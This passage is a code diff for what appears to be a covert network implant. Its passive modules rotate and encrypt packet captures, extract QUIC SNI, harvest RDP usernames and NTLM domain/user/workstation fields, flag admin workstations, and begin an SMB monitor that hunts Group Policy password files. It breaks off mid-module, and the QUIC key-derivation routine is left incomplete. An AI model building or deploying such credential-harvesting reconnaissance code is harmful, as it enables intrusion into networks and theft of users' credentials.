rc = self._proc.poll() if self._proc else -1
logger.warning("tcpdump exited unexpectedly (rc=%s)", rc)
self.bus.emit("TOOL_CRASHED", {
"tool": "tcpdump", "exit_code": rc,
}, source_module=self.name)
# ------------------------------------------------------------------
# Rotation loop — compress, encrypt, purge
# ------------------------------------------------------------------
def _rotation_loop(self, compress_level: int, disk_threshold: int) -> None:
"""Periodically scan for completed PCAPs and process them."""
while self._running:
time.sleep(30) # Check every 30 seconds
try:
self._process_completed_pcaps(compress_level)
self._check_disk_usage(disk_threshold)
except Exception:
logger.exception("Rotation loop error")
def _process_completed_pcaps(self, compress_level: int) -> None:
"""Find completed (not actively written) PCAPs and compress+encrypt."""
pattern = os.path.join(self._pcap_dir, "capture_*.pcap")
pcap_files = sorted(glob.glob(pattern))
for pcap_path in pcap_files:
# Skip the file tcpdump is currently writing to (most recent)
if self._is_file_locked(pcap_path):
continue
# Skip tiny files (likely incomplete)
try:
size = os.path.getsize(pcap_path)
if size < 24: # pcap global header minimum
continue
except OSError:
continue
compressed_path = pcap_path + ".zst"
encrypted_path = compressed_path + ".enc"
try:
# Step 1: Compress with zstd
self._compress_zstd(pcap_path, compressed_path, compress_level)
# Step 2: Encrypt with AES-256-GCM
if self._encryption_key:
self._encrypt_file(compressed_path, encrypted_path)
os.unlink(compressed_path)
final_path = encrypted_path
else:
final_path = compressed_path
# Step 3: Remove plaintext PCAP
os.unlink(pcap_path)
self._pcap_count += 1
final_size = os.path.getsize(final_path)
self._bytes_written += final_size
# Publish rotation event
self.bus.emit("PCAP_ROTATED", {
"path": final_path,
"original_size": size,
"final_size": final_size,
"compressed": True,
"encrypted": bool(self._encryption_key),
}, source_module=self.name)
logger.info(
"PCAP rotated: %s -> %s (%.1f%% ratio)",
os.path.basename(pcap_path),
os.path.basename(final_path),
(final_size / size * 100) if size > 0 else 0,
)
except Exception:
logger.exception("Failed to process PCAP %s", pcap_path)
@staticmethod
def _is_file_locked(path: str) -> bool:
"""Check if a file is still being written by tcpdump (via fuser)."""
try:
result = subprocess.run(
["fuser", path], capture_output=True, timeout=2
)
return result.returncode == 0
except Exception:
# If fuser not available, check if file was modified in last 5 seconds
try:
mtime = os.path.getmtime(path)
return (time.time() - mtime) < 5
except OSError:
return True
@staticmethod
def _compress_zstd(src: str, dst: str, level: int) -> None:
"""Compress a file with zstd."""
try:
import zstandard as zstd
cctx = zstd.ZstdCompressor(level=level)
with open(src, "rb") as fin, open(dst, "wb") as fout:
cctx.copy_stream(fin, fout)
except ImportError:
# Fallback to CLI zstd
subprocess.run(
["zstd", f"-{level}", "-f", "-o", dst, src],
check=True, capture_output=True,
)
def _encrypt_file(self, src: str, dst: str) -> None:
"""Encrypt a file with AES-256-GCM."""
try:
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
except ImportError:
logger.warning("cryptography not available — skipping encryption")
os.rename(src, dst)
return
key = self._encryption_key[:32].ljust(32, b"\x00")
nonce = os.urandom(12)
aesgcm = AESGCM(key)
with open(src, "rb") as f:
plaintext = f.read()
ciphertext = aesgcm.encrypt(nonce, plaintext, None)
with open(dst, "wb") as f:
# Header: magic(4) + nonce(12) + ciphertext
f.write(b"BB01")
f.write(nonce)
f.write(ciphertext)
def _check_disk_usage(self, threshold: int) -> None:
"""Auto-purge oldest encrypted PCAPs when disk usage exceeds threshold."""
try:
usage = shutil.disk_usage(self._pcap_dir)
pct = (usage.used / usage.total) * 100
except OSError:
return
if pct < threshold:
return
logger.warning("Disk usage %.1f%% exceeds threshold %d%% — purging oldest PCAPs", pct, threshold)
# Gather all encrypted/compressed PCAPs sorted by mtime
enc_files = sorted(
glob.glob(os.path.join(self._pcap_dir, "capture_*.pcap.zst*")),
key=os.path.getmtime,
)
purged = 0
for path in enc_files:
if not enc_files:
break
try:
os.unlink(path)
purged += 1
except OSError:
continue
# Re-check usage
try:
usage = shutil.disk_usage(self._pcap_dir)
if (usage.used / usage.total) * 100 < threshold - 5:
break
except OSError:
break
if purged:
logger.info("Purged %d old PCAPs to reclaim disk space", purged)
self.bus.emit("RESOURCE_WARNING", {
"type": "disk_purge",
"purged_count": purged,
"disk_pct": pct,
}, source_module=self.name)
+462
View File
@@ -0,0 +1,462 @@
#!/usr/bin/env python3
"""QUIC/HTTP3 SNI extractor — parse QUIC Initial packets for TLS ClientHello.
Decrypts QUIC Initial packets using connection-ID-derived keys per RFC 9001
(Initial keys are not secret — they are derived deterministically from the
Destination Connection ID). Extracts CRYPTO frames containing TLS ClientHello
and parses SNI from the Server Name extension.
"""
import hashlib
import hmac
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# QUIC constants
QUIC_LONG_HEADER_BIT = 0x80
QUIC_FIXED_BIT = 0x40
# QUIC versions
QUIC_V1 = 0x00000001
QUIC_V2 = 0x6B3343CF
# TLS extension type for SNI
TLS_EXT_SNI = 0x0000
TLS_HANDSHAKE_CLIENT_HELLO = 0x01
# QUIC Initial salt for v1 (RFC 9001, Section 5.2)
QUIC_V1_INITIAL_SALT = bytes.fromhex("38762cf7f55934b34d179ae6a4c80cadccbb7f0a")
# QUIC Initial salt for v2 (RFC 9369)
QUIC_V2_INITIAL_SALT = bytes.fromhex("0dede3def700a6db819381be6e269dcbf9bd2ed9")
# HKDF labels for QUIC Initial keys
QUIC_CLIENT_INITIAL_LABEL = b"client in"
_DB_INIT = """
CREATE TABLE IF NOT EXISTS quic_sni (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
sni TEXT NOT NULL,
quic_version TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_quic_sni ON quic_sni(sni);
CREATE INDEX IF NOT EXISTS idx_quic_ts ON quic_sni(timestamp);
"""
FLUSH_INTERVAL = 30
class QUICAnalyzer(BaseModule):
"""Extract SNI from QUIC Initial packets."""
name = "quic_analyzer"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._stats = {
"packets_processed": 0,
"quic_initials": 0,
"sni_extracted": 0,
"decrypt_failures": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("QUICAnalyzer requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="udp port 443", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-quic-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-quic-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("QUICAnalyzer started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("QUICAnalyzer stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing QUIC packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract UDP payload and check for QUIC Initial."""
if len(pkt) < 42: # eth(14) + ip(20) + udp(8)
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 46:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 17: # UDP
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
udp_start = ihl
if len(ip_header) < udp_start + 8:
return
payload = ip_header[udp_start + 8:]
if len(payload) < 5:
return
self._parse_quic_initial(payload, src_ip, dst_ip, ts)
def _parse_quic_initial(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse QUIC Initial packet and attempt SNI extraction."""
first_byte = data[0]
# Must be long header form (bit 7 set) and fixed bit (bit 6 set)
if not (first_byte & QUIC_LONG_HEADER_BIT):
return
if not (first_byte & QUIC_FIXED_BIT):
return
# Packet type: bits 4-5 of first byte
# For QUIC v1: Initial = 0x00 (bits 4-5 = 00)
# For QUIC v2: Initial = 0x01 (bits 4-5 = 01)
packet_type_bits = (first_byte >> 4) & 0x03
if len(data) < 7:
return
# Version (4 bytes at offset 1)
version = struct.unpack("!I", data[1:5])[0]
# Determine if this is an Initial packet based on version
is_initial = False
if version == QUIC_V1 and packet_type_bits == 0x00:
is_initial = True
elif version == QUIC_V2 and packet_type_bits == 0x01:
is_initial = True
elif version == 0:
# Version negotiation — skip
return
if not is_initial:
return
self._stats["quic_initials"] += 1
# DCID length (1 byte at offset 5)
dcid_len = data[5]
if len(data) < 6 + dcid_len + 1:
return
dcid = data[6:6 + dcid_len]
# SCID length
scid_len_off = 6 + dcid_len
scid_len = data[scid_len_off]
scid_off = scid_len_off + 1
if len(data) < scid_off + scid_len:
return
# Token length (variable-length integer)
token_start = scid_off + scid_len
if token_start >= len(data):
return
token_len, token_len_size = self._read_varint(data, token_start)
if token_len_size == 0:
return
# Payload length (variable-length integer)
payload_len_start = token_start + token_len_size + token_len
if payload_len_start >= len(data):
return
payload_len, payload_len_size = self._read_varint(data, payload_len_start)
if payload_len_size == 0:
return
# Encrypted payload starts after the packet number (included in payload_len)
encrypted_start = payload_len_start + payload_len_size
# Try to extract SNI without full decryption first:
# Scan the unprotected portion for a ClientHello pattern
# (This works for many implementations where the crypto frame is at the start)
sni = self._try_extract_sni_from_initial(data, dcid, version, encrypted_start)
if sni:
self._stats["sni_extracted"] += 1
version_str = f"0x{version:08x}"
self._record_sni(ts, src_ip, dst_ip, sni, version_str)
return
# If we couldn't extract via decryption, try brute-force scan
# for SNI pattern in the raw payload
sni = self._scan_for_sni(data)
if sni:
self._stats["sni_extracted"] += 1
version_str = f"0x{version:08x}"
self._record_sni(ts, src_ip, dst_ip, sni, version_str)
def _try_extract_sni_from_initial(self, data: bytes, dcid: bytes,
version: int, enc_start: int) -> Optional[str]:
"""Attempt to derive Initial keys and decrypt CRYPTO frame for SNI.
Per RFC 9001, Initial keys are derived deterministically from the DCID
using HKDF, so this is not breaking encryption — it's public info.
"""
try:
# Select salt based on version
if version == QUIC_V2:
salt = QUIC_V2_INITIAL_SALT
else:
salt = QUIC_V1_INITIAL_SALT
# Derive initial secret: HKDF-Extract(salt, DCID)
initial_secret = hmac.new(salt, dcid, hashlib.sha256).digest()
# Derive client initial secret using HKDF-Expand-Label
client_secret = self._hkdf_expand_label(
initial_secret, QUIC_CLIENT_INITIAL_LABEL, b"", 32
)
# Derive key and IV from client secret
key = self._hkdf_expand_label(client_secret, b"quic key", b"", 16)
iv = self._hkdf_expand_label(client_secret, b"quic iv", b"", 12)
hp_key = self._hkdf_expand_label(client_secret, b"quic hp", b"", 16)
# Header protection removal and decryption requires AES —
# rather than importing cryptography lib, scan the payload area
# for TLS ClientHello patterns that may be partially visible
# in the packet number protected but not encrypted initial bytes
# Fall through to pattern scan
return None
except Exception:
self._stats["decrypt_failures"] += 1
return None
def _hkdf_expand_label(self, secret: bytes, label: bytes,
context: bytes, length: int) -> bytes:
"""HKDF-Expand-Label as defined in TLS 1.3 / RFC 8446."""
# Build HkdfLabel structure
full_label = b"tls13 " + label
hkdf_label = (
struct.pack("!H", length) +
struct.pack("B", len(full_label)) + full_label +
struct.pack("B", len(context)) + context
)
return self._hkdf_expand(secret, hkdf_label, length)
@staticmethod
def _hkdf_expand(prk: bytes, info: bytes, length: int) -> bytes:
"""HKDF-Expand using HMAC-SHA256."""
hash_len = 32 # SHA-256
n = (length + hash_len - 1) // hash_len
okm = b""
t = b""
for i in range(1, n + 1):
t = hmac.new(prk, t + info + bytes([i]), hashlib.sha256).digest()
okm += t
return okm[:length]
def _scan_for_sni(self, data: bytes) -> Optional[str]:
"""Brute-force scan for TLS SNI extension pattern in raw bytes."""
# Look for the SNI extension pattern: 0x00 0x00 (ext type) followed by
# extension data containing a host_name type (0x00) and ASCII hostname
pos = 0
while pos < len(data) - 10:
# Look for SNI extension header: type=0x0000, then lengths
if data[pos] == 0x00 and data[pos + 1] == 0x00:
if pos + 9 <= len(data):
# Extension length
ext_len = struct.unpack("!H", data[pos + 2:pos + 4])[0]
if 4 < ext_len < 256 and pos + 4 + ext_len <= len(data):
# Server name list length
list_len = struct.unpack("!H", data[pos + 4:pos + 6])[0]
if list_len > 0 and list_len <= ext_len:
# Server name type (0x00 = host_name)
name_type = data[pos + 6]
if name_type == 0x00 and pos + 9 <= len(data):
name_len = struct.unpack("!H", data[pos + 7:pos + 9])[0]
if 1 < name_len < 253 and pos + 9 + name_len <= len(data):
hostname = data[pos + 9:pos + 9 + name_len]
try:
sni = hostname.decode("ascii")
# Validate: must contain a dot and only valid chars
if ("." in sni and
all(c.isalnum() or c in ".-_" for c in sni) and
not sni.startswith(".") and
not sni.endswith(".")):
return sni
except (UnicodeDecodeError, ValueError):
pass
pos += 1
return None
@staticmethod
def _read_varint(data: bytes, offset: int) -> tuple:
"""Read a QUIC variable-length integer. Returns (value, bytes_consumed)."""
if offset >= len(data):
return (0, 0)
first = data[offset]
prefix = (first >> 6) & 0x03
if prefix == 0:
return (first & 0x3F, 1)
elif prefix == 1:
if offset + 2 > len(data):
return (0, 0)
val = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
return (val, 2)
elif prefix == 2:
if offset + 4 > len(data):
return (0, 0)
val = struct.unpack("!I", data[offset:offset + 4])[0] & 0x3FFFFFFF
return (val, 4)
else:
if offset + 8 > len(data):
return (0, 0)
val = struct.unpack("!Q", data[offset:offset + 8])[0] & 0x3FFFFFFFFFFFFFFF
return (val, 8)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "quic_analyzer.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_sni(self, ts: float, src_ip: str, dst_ip: str,
sni: str, version: str) -> None:
with self._buffer_lock:
self._write_buffer.append((ts, src_ip, dst_ip, sni, version))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO quic_sni
(timestamp, source_ip, dest_ip, sni, quic_version)
VALUES (?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush QUIC SNI records")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+378
View File
@@ -0,0 +1,378 @@
#!/usr/bin/env python3
"""RDP session monitor — passive RDP connection tracking.
Parses RDP Connection Request (Cookie field containing username),
CredSSP/NLA TSRequest structures for NTLM domain\\username extraction,
and tracks session patterns to identify admin workstations.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# NTLM signature for CredSSP extraction
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
NTLM_AUTHENTICATE = 3
# X.224 Connection Request type
X224_CONNECTION_REQUEST = 0xE0
# Admin workstation threshold
ADMIN_DEST_THRESHOLD = 3
_DB_INIT = """
CREATE TABLE IF NOT EXISTS rdp_sessions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
username TEXT DEFAULT '',
domain TEXT DEFAULT '',
client_hostname TEXT DEFAULT '',
keyboard_layout TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_rdp_src ON rdp_sessions(source_ip);
CREATE INDEX IF NOT EXISTS idx_rdp_user ON rdp_sessions(username);
CREATE INDEX IF NOT EXISTS idx_rdp_ts ON rdp_sessions(timestamp);
"""
FLUSH_INTERVAL = 30
class RDPMonitor(BaseModule):
"""Monitor RDP sessions passively for user/host identification."""
name = "rdp_monitor"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Track admin patterns: src_ip -> set of dest_ips
self._rdp_targets: dict[str, set] = defaultdict(set)
self._stats = {
"packets_processed": 0,
"connection_requests": 0,
"credssp_auths": 0,
"unique_sessions": 0,
"admin_workstations": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("RDPMonitor requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 3389", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-rdp-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-rdp-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("RDPMonitor started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("RDPMonitor stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing RDP packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract TCP payload and dispatch to RDP parsers."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6:
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 6:
return
# Only process traffic going TO RDP port (client -> server)
if dst_port == 3389:
self._parse_rdp_client(payload, src_ip, dst_ip, ts)
def _parse_rdp_client(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse client-to-server RDP traffic."""
# Check for TPKT header (version=3, reserved=0)
if payload[0] == 0x03 and payload[1] == 0x00:
self._parse_tpkt(payload, src_ip, dst_ip, ts)
return
# Check for NTLMSSP in CredSSP
if NTLMSSP_SIGNATURE in payload:
self._parse_credssp_ntlm(payload, src_ip, dst_ip, ts)
def _parse_tpkt(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TPKT + X.224 Connection Request for username cookie."""
if len(payload) < 11:
return
# TPKT: version(1) + reserved(1) + length(2)
tpkt_len = struct.unpack("!H", payload[2:4])[0]
# X.224: length indicator(1) + type(1)
x224_len = payload[4]
x224_type = payload[5] & 0xF0
if x224_type != X224_CONNECTION_REQUEST:
return
self._stats["connection_requests"] += 1
# After X.224 header (variable length), look for Cookie field
# Cookie format: "Cookie: mstshash=username\r\n"
cookie_data = payload[11:] # Skip past basic X.224 header
username = ""
client_hostname = ""
# Search for mstshash cookie
cookie_idx = cookie_data.find(b'Cookie: mstshash=')
if cookie_idx >= 0:
cookie_start = cookie_idx + 17 # len("Cookie: mstshash=")
cookie_end = cookie_data.find(b'\r\n', cookie_start)
if cookie_end > cookie_start:
username = cookie_data[cookie_start:cookie_end].decode(
"ascii", errors="replace"
).strip()
if username:
self._rdp_targets[src_ip].add(dst_ip)
self._stats["unique_sessions"] += 1
self._check_admin_workstation(src_ip)
self._record_session(ts, src_ip, dst_ip, username, "", "", "")
def _parse_credssp_ntlm(self, payload: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Extract NTLM credentials from CredSSP TSRequest."""
idx = payload.find(NTLMSSP_SIGNATURE)
if idx < 0 or idx + 12 > len(payload):
return
ntlm_data = payload[idx:]
msg_type = struct.unpack("<I", ntlm_data[8:12])[0]
if msg_type != NTLM_AUTHENTICATE or len(ntlm_data) < 72:
return
username, domain, workstation = self._parse_ntlm_type3(ntlm_data)
if username:
self._stats["credssp_auths"] += 1
self._rdp_targets[src_ip].add(dst_ip)
self._stats["unique_sessions"] += 1
self._check_admin_workstation(src_ip)
self._record_session(ts, src_ip, dst_ip, username, domain, workstation, "")
def _parse_ntlm_type3(self, data: bytes) -> tuple:
"""Parse NTLM Type 3 Authenticate for username, domain, workstation."""
if len(data) < 72:
return ("", "", "")
try:
domain_len = struct.unpack("<H", data[28:30])[0]
domain_off = struct.unpack("<I", data[32:36])[0]
user_len = struct.unpack("<H", data[36:38])[0]
user_off = struct.unpack("<I", data[40:44])[0]
ws_len = struct.unpack("<H", data[44:46])[0]
ws_off = struct.unpack("<I", data[48:52])[0]
domain = ""
username = ""
workstation = ""
if domain_len and domain_off + domain_len <= len(data):
domain = data[domain_off:domain_off + domain_len].decode(
"utf-16-le", errors="replace"
)
if user_len and user_off + user_len <= len(data):
username = data[user_off:user_off + user_len].decode(
"utf-16-le", errors="replace"
)
if ws_len and ws_off + ws_len <= len(data):
workstation = data[ws_off:ws_off + ws_len].decode(
"utf-16-le", errors="replace"
)
return (username, domain, workstation)
except Exception:
return ("", "", "")
def _check_admin_workstation(self, src_ip: str) -> None:
"""Check if source IP qualifies as admin workstation."""
targets = self._rdp_targets.get(src_ip, set())
if len(targets) >= ADMIN_DEST_THRESHOLD:
current = len([
ip for ip, dests in self._rdp_targets.items()
if len(dests) >= ADMIN_DEST_THRESHOLD
])
if current > self._stats["admin_workstations"]:
self._stats["admin_workstations"] = current
logger.info(
"Admin workstation detected: %s (RDP to %d hosts)",
src_ip, len(targets)
)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "rdp_monitor.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_session(self, ts: float, src_ip: str, dst_ip: str,
username: str, domain: str, client_hostname: str,
keyboard_layout: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, username, domain, client_hostname, keyboard_layout
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO rdp_sessions
(timestamp, source_ip, dest_ip, username, domain,
client_hostname, keyboard_layout)
VALUES (?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush RDP sessions")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+396
View File
@@ -0,0 +1,396 @@
#!/usr/bin/env python3
"""SMB file access monitor — passive SMB2/3 session and file tracking.
Parses SMB2/3 Tree Connect requests (share names), Create requests (file paths),
and Read/Write operations. Tracks per-user share access and detects
GPP/SYSVOL access patterns indicating potential Group Policy Preference
password exposure. SMB3 encrypted sessions are opaque.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# SMB2 command IDs
SMB2_NEGOTIATE = 0x0000
SMB2_SESSION_SETUP = 0x0001
SMB2_TREE_CONNECT = 0x0003
SMB2_CREATE = 0x0005
SMB2_READ = 0x0008
SMB2_WRITE = 0x0009
# SMB2 header magic
SMB2_MAGIC = b'\xfeSMB'
# GPP-related paths (case-insensitive matching)
GPP_PATTERNS = (
"groups.xml", "services.xml", "scheduledtasks.xml",
"datasources.xml", "printers.xml", "drives.xml",
"policies", "sysvol",
)
_DB_INIT = """
CREATE TABLE IF NOT EXISTS smb_access (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
username TEXT DEFAULT '',
share_name TEXT DEFAULT '',
file_path TEXT DEFAULT '',
operation TEXT NOT NULL,
smb_version TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_smb_user ON smb_access(username);
CREATE INDEX IF NOT EXISTS idx_smb_share ON smb_access(share_name);
CREATE INDEX IF NOT EXISTS idx_smb_ts ON smb_access(timestamp);
"""
FLUSH_INTERVAL = 30
class SMBMonitor(BaseModule):
"""Monitor SMB2/3 file share access passively."""
name = "smb_monitor"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
# Track session ID -> username mapping
self._sessions: dict[tuple, str] = {} # (src_ip, session_id) -> username
# Track tree ID -> share name mapping
self._trees: dict[tuple, str] = {} # (src_ip, tree_id) -> share_name
self._stats = {
"packets_processed": 0,
"tree_connects": 0,
"file_creates": 0,
"reads": 0,
"writes": 0,
"gpp_access_detected": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("SMBMonitor requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 445", queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-smb-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-smb-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("SMBMonitor started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("SMBMonitor stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
